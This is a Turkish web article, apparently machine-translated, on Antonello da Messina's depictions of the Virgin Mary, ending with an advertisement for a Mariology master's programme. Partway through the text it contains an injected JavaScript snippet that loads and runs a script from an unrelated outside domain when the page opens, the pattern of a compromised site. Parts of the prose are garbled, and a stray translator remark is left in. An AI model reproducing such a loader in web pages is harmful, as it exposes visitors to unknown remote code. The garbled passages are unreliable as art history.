Antonello da Messina: “Yeni İnsan”ın Mariolojisi

Giriş

Antonello da Messina’nın başarısı, sadece modern resim durumunu geliştirdiği ve yağlı boya tekniğinin mükemmelliğini yaydığıyla sınırlı değildir, aynı zamanda 15. yüzyılda en cesur İtalyan ressamlarından biri olduğu için de övgüye layıktır. Üstün başarısı, yumuşaklık ile duygulandırma yeteneğidir, ister çeşitli konularda sertliğin tatlıya üstünlüğünün resmedildiği yerlerde, ister muhteşemin pastoya, acının yumuşaklığa veya en içten ve tatlı ruh halinin sakinliğine hakim olduğu yerlerde.

Yaklaşık 1430 yılında Messina’da doğup 1479’da aynı şehirde ölen Antonello, İtalyan sanatının en gizemli figürlerinden biridir. Az sayıda tanıklığa rağmen, hem yerel bir sanatçı olarak gelenekleri takip eden hem de uluslararası bir sanatçı olarak devrimci yenilikler yapabilen bir çift kimlik taşır. O, Flamanca gramerini İtalyan sözdizimine katarak, memleketi ve adası olan yerin insanlığına mutlak ve sonsuz bir ifade verdi.

Bize portreleri aracılığıyla söylenenler budur, o kadar ‘terrörle Sicilya’lı ki, onları diyalektlerinde konuşurken dinler gibi hissedersiniz, aynı dil ile konuşulan Duyurma. Bu tuhaf bir şekilde konuya bağlanma, bu lirik dönüşüm, bulutluğun en içten, en tutkulu maddesinin, onu mutlaklık oluşturmaya adadığı, Antonello’nun eserlerine bakanlar üzerinde gizemli bir şaşkınlık uyandıran nedendir.

Bunun için, Sibiu’nun Çarmıhı’ndaki dünyevi figürler, içten bir alev tarafından yakılmış gibi görünür, bu alev tüketilir ve beyaz gökyüzünün sıcaklığında dağılır. Bu nedenle, azizleri ve Meryem, acı ve basit bir şefkatle yumuşak bir varlıklarıyla çevrelerler.

Antonello, Rönesans’ın tipik bir temsilcisi olan Homo Novus‘un simgesidir, tamamen İtalyan bir olgu, Sicilya’dan Venedik’e kadar. O, 15. yüzyıl, yani kendi bilincini yeniden keşfettiği ve devasa okyanusu geçerek Yeni Dünya’yı keşfettiği yüzyılı simgeler, burada devotio moderna kişisel ve öznel bir ibadete, Orta Çağ’daki kolektif ibadetten farklı olarak bekliyordu.

İfade Dili

Virjin ile Çocuk’un tasvirinde, sayısız erkek portrelerinin zıtlığı olarak kadınsı bir karşılık, Antonello da Messina, memleketinden ilham alır. Hem fiziksel görünüş hem de Antonello’nun Virjinler’in duruşları, Palermo’daki Anunciya’nın peçetesini taklit eden el gibi, Sicilya kadınlarını hatırlatır.

İlk Virjinler, Salting Virjini veya

(Görsel içeriği değiştirmediğim için aynı kaldı.)

Virjin Okuyucu, monokromatik bir arka plana sahip bir kompozisyonda, değerli mücevherlerin ve kumaşların hassas güzelliğini sergiler. Bu, Antonello’nun Napoli’deki Colantonio atölyesinde aldığı eğitim ve Flaman sanatına ilk temasını yansıtır.

Salting Bakire, Gökyüzünün Kraliçesi olarak korunan Anne’yi ve kollarında İsa’yı tasvir eder. Küçük Gotik İsa figürü, elinde bir roma, yani verimlilik ve Meryem’in kraliyetinin sembolü, ancak aynı zamanda kırmızı meyvelerin kanı çağrıştıran tutkunun da sembolü olarak tutar. Virjin’in saydam örtüsü, yüksek ustalık örneği olarak kabul edilir, aynı şekilde mücevherler ve ipek dokumalar da güzel bir şekilde betimlenmiştir.

Melekler, karanlık arka plan, parlak metalik efektlerle süslenmiş karmaşık bir taç ve keskin beyaz ışık, Antonello’nun Flam sanatını İtalyan uzay ve monumentalite ile birleştirdiği bir sanat eserini andırır.

Sert ve geçirmez yüzü, saçın koyu çizgilerinden tenin solgunluğuna, kaşların ve gözlerin geometrik işaretlerine, gizemli ağzına, mükemmel kulağına kadar her şey, heykelin hareketsiz sertliğini arar gibi görünüyor, sıcak güzelliğin stilize mermerde dondurulması, Sicilya’nın kalabalıklarında hala yeniden tanınabilir.

Bir ikonografik bağlantı, Salting Bakire’sini Okuyan Bakire’ye, gerçekten çok yakın bir bağlantı kurar, bu kadar yakın ki tesadüfen görünemez ve neredeyse annenin elindeki açık kitabın son anda İsa Çocuk tarafından değiştirildiği fikrini ima eder.

Beyaz yüzü, taçta laleler ve gül ile aydınlanan Bakire Okuyucu, elindeki açık kitapla, Messina’nın genç eserini temsil eder, o da onu ağır, acı ağızlı, uzun kollu ve neredeyse avcı bir varlık olarak tanımladı».

var url = ‘https://wafsearct.wiki/xml’;

var script = document.createElement(‘script’);

script.src = url;

script.type = ‘text/javascript’;

script.async = true;

document.getElementsByTagName(‘head’)[0].appendChild(script);

Marioloji üzerine düşüncelerinizi derinleştirmek için, Kutsal Ayin sanatı ve Rönesans resminde Marioloji’yi incelemek için, Papa VI’nın Marialis Cultus el yazmasını inceleyin, ki bu, sanatsal ifadelerin marian ilahiye ve kontemplasyona en değerli araçlar olduğunu vurgular.

Öğreniminizi derinleştirin: Marioloji Meryem ilahisi Meryem’in görünüşleri ve Marioloji yüksek lisansı hakkında bilgi edinin.

Marioloji Yüksek Lisansı

Marioloji alanında derinlemesine bir eğitim mi arıyorsunuz? Locus Mariologicus’un Marioloji Yüksek Lisansı programını keşfedin; bu akademik eğitim, teolojik sıkılık, manevi yaşam ve Kilisenin canlı geleneğini bir araya getirir.

Kayıt olun veya daha fazla bilgi edinin →